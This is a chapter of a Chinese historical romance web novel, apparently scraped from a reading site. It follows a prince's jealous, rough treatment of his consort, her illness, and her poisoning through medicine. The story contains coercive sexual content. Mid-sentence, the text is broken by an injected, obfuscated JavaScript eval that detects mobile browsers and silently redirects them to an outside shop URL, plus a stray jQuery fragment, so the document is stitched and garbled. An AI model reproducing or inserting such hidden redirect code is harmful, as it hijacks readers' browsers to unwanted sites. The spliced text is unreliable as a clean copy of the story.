水汽氤氲,烛影摇红。

    “萧衍,不要了……”卫莺时的眼泪不断从面颊滑落,一滴滴落入池水中,激起细小的涟漪,“不要了……你好凶……”

    萧衍抬手轻轻擦去她脸上的泪,可那泪却越擦越多,从他的指缝间溢出来。

    卫莺时在池水中毫无着力之处,只能攀着他的脖颈,与罪魁祸首紧紧相贴。肌肤相亲的温度烫得她发颤,可她却无处可逃。

    卫莺时柔软的身体被他禁锢在怀中,动弹不得,浴房中的灯燃得更亮,他不可避免地看见她身上残留的指痕,自下颌至足踝,每处皆有,只是几处零星,几处密集。

    他对她起了一种极为恶劣的狎弄的心思。

    萧衍唇边浮起一抹笑:“不是不要了么?为何还抱得这么紧?”

    卫莺时恨恨地在他的肩头咬了一口,呜呜咽咽地哭着,哭得浑身细细地发颤。

    萧衍开始懊悔,自己不该对她那样用力,于是短暂地抽离。

    可他又不得不想起议事之时转头看见的那一幕,卫莺时与姚玟元相谈甚欢,旁若无人。

    卫莺时的意识再次陷入昏沉,急促又柔软的呼吸在萧衍的耳侧扰弄,池水荡漾。

    她不该喜欢姚玟元。她不该那样……明明已经选了他,怎么还能和别的男人那般亲近?

    可她看起来好像真的很无辜,她是真的没有意识到这样不对么?

    意识不到也罢,今后记住了就行。

    萧衍将她从池中抱上来时,卫莺时已哭得昏了过去。滔天的醋意终于停歇之后,他才恍然意识到自己对她做了什么。

    ……

    卫莺时睡了足足几个时辰,醒来时依旧浑身酸软,疲惫至极。青杄进来唤她用膳时,一摸她的额头,惊觉额头滚烫,她发了烧。

    萧衍照常去前厅议事。青杄欲前去通报,卫莺时却扯住了她的衣袖。她的眼睛哭得肿了,嗓子也发不出声,只望着她,缓缓摇了摇头。

    “小姐,那我便去请良医正过来瞧瞧。”

    卫莺时眼前发黑,她望着青杄的身影,反应了好一会儿才轻轻点了点头。

    良医正匆匆赶来,搭了脉,又望了望卫莺时的脸色,沉吟良久,方道:“王妃乃是房劳耗伤肾精,兼寒邪内侵、肝气郁结。治当先疏肝散寒行气,再温填肝肾元精。务必禁欲避寒、宽怀少郁,药石方得奏效。”

    青杄听得半懂不懂,只躬身道:“烦请医正给王妃开方熬药。”

    良医正知耽误不得,收了药箱,匆匆离去。

    卫莺时却不顾劝阻,硬撑起身子,在青杄的搀扶下回了自己房中。

    萧衍议事归来,见青杄端着汤药回房,便多问了两句,这才得知卫莺时病了。

    萧衍眉心紧蹙起来,待听完青杄转述的医正之言,才知竟是昨夜太过所致。

    他欲推门而入,青杄却拦在了门前:“我家姑娘不想见殿下。”

    萧衍沉声问道:“为何?”

    “姑娘说,殿下身体要紧,若染了病气就不好了。”

    萧衍明白了卫莺时仍在置气,“若我偏要去看她呢?”

    青杄摇摇头,依旧拦在门前。

    她方才给卫莺时换衣时,见到了她身上那些深深浅浅的痕迹,就连手腕脚腕处都捏得青紫,一时便明白了病由何来,对萧衍也添了几分怨气。

    “你不怕我责罚?”

    青杄低眉顺眼,语气却寸步不让:“殿下尽管责罚。我们姑娘说什么,便是什么。”

    萧衍心道,果真是个忠仆。不分身份高低,只听卫莺时的差遣。

    卫莺时躺在床上,浑身无力,青杄将她扶靠在软枕上,一口一口地喂药。

    待喝了大半,青杄才提起:“方才殿下来看过姑娘。”

    卫莺时口中清苦,摇头道:“我不想见他。”

    青杄笑道,将瓷勺中的汤药喂至她的唇边,“已经按姑娘说的回了,还有最后一口,都喝了吧,好得快些。”

    最后一口无论如何也喝不下了,药渣沉在底下,苦的很。

    青杄将瓷碗放在一旁,给她递了一块梅子糖。

    卫莺时乖乖接过放入口中,舌面漫开一股清爽的香气,很是提神开窍。

    “这松子糖气味好特别,你尝尝。”

    青杄将梅子糖放入口中,“加了薄荷,好辣……是殿下差人送来的。殿下待姑娘倒是不错,但一点儿也不懂得怜香惜玉。”

    卫莺时的舌头这才尝出了味道,但片刻之后,被咬破的舌尖刺痛起来。一想到萧衍,身上隐秘之处仍在隐隐作痛。

    她面颊泛着不正常的薄红,她不敢看青杄的眼睛,低头道:“白岑如何了?”

    青杄伸手在她额头轻轻探了一下,温度已经降了下来,她松了一口气回道:“已经大好了。晚上由她换我。如今这府上,我谁也不信任。乳母嬷嬷年纪大了,不便再来服侍,今后我和白岑会日夜守着姑娘。”

    “你们怎么了?这里没人会害我。”卫莺时勉强挤出一抹笑来。

    青杄揉了揉眼睛,“姑娘,这些天我总觉得忧心,也不知是怎么了……我的眼皮跳了好几日呢。”

    “定是累了。”

    青杄摇摇头:“我不管,我日日都要守着姑娘。”嘎嘣一下,青杄咬碎了口中的糖块,“方才慕容姑娘来过,那时候姑娘还睡着,我叫她晚些再过来。”

    ……

    晚上,白岑换了青杄,卫莺时的精神好了许多,她们正说话间,慕容玥便绕过屏风进来了:“卫姑娘,方才正巧遇上青杄姑娘去良医所取药,我顺道带过来给你。”

    白岑见她过来,便先行退了出去。慕容玥将药碗从食盒中取出来,放在一旁晾着。

    慕容玥问道:“卫姑娘,你怎么突然病了?”

    “无碍,只是风寒。”

    卫莺时不知怎的,忽然想起慕容玥曾说过的话,于是问道:“慕容姑娘,你在留都多日,我想知道更多有关萧衍的事。”

    慕容玥沉默片刻,低声道:“姑娘应当知道,萧衍曾在留都建过一座囿兽所。我曾奉命潜入其中,那里驯养着各类奇珍异兽,尤以猛禽猛兽为多。被搜罗进去的姑娘们,任务便是驯养那些野兽,不乏有人一时不慎,落入虎豹之口。”

    卫莺时听得浑身发毛,她一直避免去接受萧衍温情表象背后的残忍,可她心里却清楚,身为封

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788137|210247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    建时代的皇子,手上怎可能干净?怎可能是良善之辈?

    卫莺时面容苍白,由于虚弱,整个人看起来清瘦了一圈,然而她目光却极亮:“慕容姑娘,你究竟受谁之命?我可以信你么?”

    慕容玥颔首,“这世上我可以骗任何人,唯独不想骗姑娘你。”

    卫莺时偏过头望着慕容玥,她的眼中莹莹的像是泪,她喜怒深藏,卫莺时很少见过她流泪或是欢笑的模样,此时心里头有些疑惑,或许是被风眯了眼睛,卫莺时没再追问。

    慕容玥伸出手,将药碗递到了她的手中。

    卫莺时低头抿了一口,不知为什么,药比午后的那碗更苦,还泛着一股腥甜之味。她喝了一口便喝不下去了,偏过头,瞧见一旁桌上的梅子糖。

    “姑娘怕苦?”慕容玥犹豫着伸出手,冰凉的手指触碰到了她的手背,“要不就不喝了。”

    卫莺时摇摇头,“慕容姑娘,帮我把那碟梅子糖拿过来吧。”

    慕容玥的瞳孔微微收缩,最终起身,将花梨木桌上的小碟子取了过来。

    卫莺时原先赌着气,不愿再吃,可汤药实在难喝得紧,她终究还是取了一颗糖咬在齿间,勉强将药喝完。

    ……

    深夜,青杄抱着干净的衣裳过来,刚走到门口,便听见门内白岑一声惊叫,随即是瓷碗碎裂的声响。

    她心下一惊,赶紧在门前放下托盘,正要推门,身后一个高大的身影已先她一步闪了进去。

    屋内灯火次第燃起。

    萧衍看到眼前的一幕,呼吸骤然一滞,白岑和卫莺时的衣襟上,沾满了暗红色的血迹。

    萧衍立刻俯身将卫莺时抱起来,试了试她的鼻息,气息已极其微弱,明显是中毒之状。他一把扯过自己的外袍将她裹紧,转头厉声喝道:

    “陈述!”

    陈述应声从屋檐上跳了下来。

    “陈述,关闭府门,给我彻查!有嫌疑者,尽数打断双腿关押水牢,容后再审!”

    萧衍从怀中取出一枚丹药,掰开卫莺时的嘴喂了下去。随即抱着她翻身上马,疾驰而出。

    ……

    火把将府中照得大亮,慕容玥在藏书阁中转过身,望着窗外幢幢的影子。

    她将手中的烛台搁置在书册的间隙,手上的动作更快,她翻阅了好几份折子,终于在上头找到了熟悉的字迹,片刻的出神让她忽略了周边悄然逼近的危险。

    一阵风吹过,烛火飘摇了一瞬,随后便灭了,身边陷入一种致命的黑暗中。

    她立刻将折子收进衣袖,拔出腰间短刀。

    她在藏书阁的最深处,光线似乎被尽数吞没,还未等她适应过来,藏书阁的大门被陈述一脚踹开,“搜!”

    一双温暖干燥的手掌覆上了她的唇,她的后背紧抵在墙壁上,她刚想用刀劈砍来人的手腕,陈述的火把已然逼近。

    她不敢再动,而那人却更加变本加厉,将她抱在了怀里。

    未知的不安伴随着浓重的黑暗扑面而来,慕容玥心头阵阵发悸。

    慕容玥反手抵住了来人的胸膛,藉着书卷背后隐隐透过来的光线,她看见了一双眼睛,一双令她不安到极点的眼睛。